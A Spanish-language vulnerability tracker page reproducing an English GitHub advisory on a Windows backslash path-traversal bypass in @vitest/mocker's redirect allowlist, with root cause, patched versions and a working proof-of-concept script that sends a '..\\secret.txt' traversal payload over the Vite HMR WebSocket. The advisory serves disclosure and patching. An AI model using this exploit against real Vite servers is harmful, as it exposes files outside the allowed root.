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Advisory · GitHub · npm · @vitest/mocker

GHSA-XP26-3454-MJGP

Vitest: Windows backslash traversal bypasses the @vitest/mocker redirect allowlist fix

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CVSS
—
medium
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche2 versionesPrimer parche a -21 d de la divulgación
Exposición29 dDesde la divulgación, 21 oct 2026, 2:48 p. m.
Detección26 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada +1
Explotación
Remediación
Parche 5.0.3
Parche 4.1.12
Monitoreo
Detectada
30 sept 26
15 oct 26
21 oct 26
17 nov 26
19 nov 26
30 sept 26
13 oct 26
25 oct 26
7 nov 26
19 nov 26
FechaFaseEventoDetalle
Remediación Parche 5.0.3 @vitest/mocker · -21 d desde divulgación
Remediación Parche 4.1.12 @vitest/mocker · -6 d desde divulgación
Divulgación Publicada GHSA-XP26-3454-MJGP divulgada
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Summary

The path traversal fix released for GHSA-82fw-gwwq-j7x9 https://github.com/vitest-dev/vitest/security/advisories/GHSA-82fw-gwwq-j7x9 can be bypassed on Windows by using a backslash in the redirect URL pathname.

The fixed code joins an attacker-controlled URL pathname with the Vite root using `node:path/posix`, then passes that string to Vite's file allowlist check. On Windows, a value such as `C:/project/root/..\secret.txt` retains `..\` during the POSIX join and begins with the allowed root, so the allowlist accepts it. The later `readFile()` call uses Windows filesystem semantics, where the backslash is a path separator, and reads the sibling file outside the configured root.

I reproduced the issue with the published `@vitest/mocker` packages in both fixed release lines:

  • `@vitest/mocker@4.1.11`
  • `@vitest/mocker@5.0.0`

The current `main` source at commit `2ce29d5fa758046e5453bd92b8ed6c9da9709bb5` has the same behavior.

Patches

Fixed in `@vitest/mocker` 5.0.3, released on 2026-09-30 (PR #11377), and backported to 4.1.12. The redirect registration now converts backslashes in the URL pathname to forward slashes before it joins the pathname with the root, so `..\` resolves the same as `../` and the allowlist check rejects it.

Relationship to GHSA-82fw-gwwq-j7x9

This is a bypass of the accepted fix, not a separate unrelated path. It uses the same `vitest:interceptor:register` redirect registration and the same file-reading sink as the original advisory. A forward-slash traversal is rejected after the fix, while the equivalent Windows backslash traversal is accepted.

The original advisory marks 4.1.11 and 5.0.0-rc.2 as patched. The newly affected ranges introduced by the incomplete fix are therefore:

  • `4.1.11`
  • `>=5.0.0-rc.2, <5.0.3`

Older affected releases remain covered by GHSA-82fw-gwwq-j7x9.

Root cause

`packages/mocker/src/node/interceptorPlugin.ts` imports `join` from `node:path/posix`. Redirect registration currently performs the equivalent of:

const redirect = join(server.config.root, redirectUrl.pathname)
if (!isFileLoadingAllowed(server.config, redirect)) return
event.redirect = redirect

The registered value later reaches:

readFile(mock.redirect, 'utf-8')

Vite's allowlist check expects a normalized absolute filesystem path. On Windows, POSIX joining does not normalize backslashes, but `readFile` interprets them as separators. The check and the sink therefore interpret the same string differently.

The authenticated browser RPC fallback in `packages/browser/src/node/rpc.ts` is not affected: it joins the path with `pathe`, which converts backslashes to forward slashes before the access check. The reproduction below targets the public mocker WebSocket registration path.

Preconditions and impact

A client that can reach a Vite server using the public `mockerPlugin` or standalone `interceptorPlugin` WebSocket registration can register a redirect mock. On Windows, the client can then request the registered module and read a file outside `server.fs.allow` that the Vitest/Vite process account can access. Vitest Browser Mode does not register these WebSocket handlers in the affected versions.

The reproduction uses an unauthenticated Vite HMR WebSocket connection and a normal HTTP GET. It does not call the plugin's internal transform API. The practical network reachability is the same deployment precondition described by the original advisory; default loopback-only development servers are correspondingly less exposed.

Reproduction

Tested on GitHub-hosted Windows Server 2025 with Node.js 22. The test creates only temporary synthetic files: a Vite root directory and a sibling `secret.txt` containing a canary.

Install dependencies for either affected line:

npm install @vitest/mocker@4.1.11 vite@7.1.5 ws@8.18.3
# or
npm install @vitest/mocker@5.0.0 vite@7.1.5 ws@8.18.3
node poc.mjs

`poc.mjs`:

import { mkdir, writeFile } from 'node:fs/promises'
import { join } from 'node:path'
import { tmpdir } from 'node:os'
import { randomUUID } from 'node:crypto'
import { interceptorPlugin } from '@vitest/mocker/node'
import { createServer } from 'vite'
import { WebSocket } from 'ws'

const base = join(tmpdir(), `vitest-path-${randomUUID()}`)
const root = join(base, 'root')
const secret = join(base, 'secret.txt')
await mkdir(root, { recursive: true })
await writeFile(secret, 'SYNTHETIC_OUTSIDE_ROOT_CANARY')

const server = await createServer({
  root,
  configFile: false,
  logLevel: 'silent',
  server: { fs: { allow: [root] } },
  plugins: [
    {
      name: 'validation:virtual-modules',
      enforce: 'pre',
      resolveId(id) {
        if (id === '/control' || id === '/bypass') return id
      },
    },
    interceptorPlugin(),
  ],
})

await server.listen()
const port = new URL(server.resolvedUrls.local[0]).port
const baseUrl = server.resolvedUrls.local[0]

function register(id, redirect) {
  return new Promise((resolve, reject) => {
    const socket = new WebSocket(`ws://localhost:${port}`, 'vite-hmr')
    const timer = setTimeout(() => reject(new Error('registration timeout')), 5000)
    socket.on('message', (raw) => {
      let message
      try { message = JSON.parse(raw.toString()) } catch { return }
      if (message.type === 'custom' && message.event === 'vitest:interceptor:register:result') {
        clearTimeout(timer)
        socket.close()
        resolve()
      }
    })
    socket.on('open', () => socket.send(JSON.stringify({
      type: 'custom',
      event: 'vitest:interceptor:register',
      data: { type: 'redirect', raw: '', id, url: id, redirect },
    })))
    socket.on('error', reject)
  })
}

try {
  await register('/control', 'traversal:../secret.txt')
  const controlResponse = await fetch(new URL('/control', baseUrl))
  const controlBody = await controlResponse.text()

  await register('/bypass', 'traversal:..\\secret.txt')
  const bypassResponse = await fetch(new URL('/bypass', baseUrl))
  const bypassBody = await bypassResponse.text()

  const result = {
    platform: process.platform,
    root,
    outsideFile: secret,
    slashTraversalStatus: controlResponse.status,
    slashTraversalRejected: !controlBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY'),
    backslashTraversalStatus: bypassResponse.status,
    backslashTraversalReturnedOutsideCanary: bypassBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY'),
    returnedBody: bypassBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY') ? 'SYNTHETIC_OUTSIDE_ROOT_CANARY' : null,
    expectedBackslashTraversalBlocked: process.env.EXPECT_BLOCKED === '1',
  }
  console.log(JSON.stringify(result, null, 2))
  const backslashResultMatchesExpectation = result.expectedBackslashTraversalBlocked
    ? !result.backslashTraversalReturnedOutsideCanary
    : result.backslashTraversalReturnedOutsideCanary
  if (!result.slashTraversalRejected || !backslashResultMatchesExpectation) process.exitCode = 1
} finally {
  await server.close()
}

Observed with `@vitest/mocker@4.1.11`:

{
  "platform": "win32",
  "slashTraversalStatus": 404,
  "slashTraversalRejected": true,
  "backslashTraversalStatus": 200,
  "backslashTraversalReturnedOutsideCanary": true,
  "returnedBody": "SYNTHETIC_OUTSIDE_ROOT_CANARY",
  "expectedBackslashTraversalBlocked": false
}

The same result was observed with `@vitest/mocker@5.0.0`.

This includes two useful controls:

  1. `traversal:../secret.txt` is rejected and returns 404, confirming the published forward-slash fix is active.
  2. `traversal:..\secret.txt` returns 200 and the exact outside-root canary, confirming a Windows separator bypass rather than an unrelated route or fixture response.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida Última
@vitest/mocker≥ 4.1.11 < 4.1.12
@vitest/mocker≥ 5.0.0-rc.2 < 5.0.3
4.1.11
4.1.12
5.0.0-rc.2
5.0.3
5.1.1
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
npm@vitest/mocker
Corregida 4.1.12, 5.0.3 -6 d · -21 d 5.1.1 no afectada
Versiones corregidas4.1.125.0.3
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://nvd.nist.gov/vuln/detail/CVE-2026-112950
Otrahttps://github.com/vitest-dev/vitest/security/advisories/GHSA-xp26-3454-mjgp
Otrahttps://github.com/vitest-dev/vitest/commit/15cc006aa9f8683dc5f7e895d011fa7dc751ce35
Otrahttps://github.com/vitest-dev/vitest/commit/b825313243dc55757e8d7c0f9e7a792135e13473
Otrahttps://github.com/vitest-dev/vitest
Otrahttps://github.com/vitest-dev/vitest/releases/tag/v4.1.12
Otrahttps://github.com/vitest-dev/vitest/releases/tag/v5.0.3

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